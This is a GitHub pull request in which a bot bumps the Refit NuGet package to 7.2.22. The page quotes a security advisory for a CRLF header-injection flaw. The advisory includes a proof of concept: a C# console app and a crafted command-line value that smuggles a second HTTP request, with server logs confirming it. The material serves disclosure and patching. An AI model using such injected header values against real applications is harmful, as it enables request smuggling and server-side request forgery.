Skip to content

Update dependency Refit to 7.2.22 [SECURITY]#897

Merged
SimonCropp merged 1 commit intomainfrom
renovate/nuget-refit-vulnerability
Feb 13, 2025
Merged

Update dependency Refit to 7.2.22 [SECURITY]#897
SimonCropp merged 1 commit intomainfrom
renovate/nuget-refit-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Nov 5, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
Refit 7.2.1 -> 7.2.22 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-51501

Summary

The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328
This method does not check for CRLF characters in the header value.

This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:

using Refit;

internal class Program
{
    private static void Main(string[] args)
    {
        // Usage: dotnet run <bearer token> 
        string token = args[0];
        var service = RestService.For<IStatusApi>("http://insert.some.site.here");
        string response = service.GetStatus(token).Result;
        Console.WriteLine($"Response: {response}");
    }

    public interface IStatusApi
    {
        [Get("/status")]
        Task<string> GetStatus([Authorize("Bearer")] string token);
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"

Impact

If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.


Release Notes

reactiveui/refit (Refit)

v7.2.22

Compare Source

Fixes:

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file. label Nov 5, 2024
@renovate renovate bot changed the title Update dependency Refit to v8 [SECURITY] Update dependency Refit to 7.2.22 [SECURITY] Nov 8, 2024
@renovate renovate bot force-pushed the renovate/nuget-refit-vulnerability branch from 8ebd300 to 47bb74d Compare November 8, 2024 15:48
@renovate renovate bot force-pushed the renovate/nuget-refit-vulnerability branch from 47bb74d to aa45d7e Compare February 12, 2025 13:04
@SimonCropp SimonCropp added this to the 9.0.0 milestone Feb 13, 2025
@SimonCropp SimonCropp merged commit dc45901 into main Feb 13, 2025
12 of 15 checks passed
@SimonCropp SimonCropp deleted the renovate/nuget-refit-vulnerability branch February 13, 2025 02:27
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant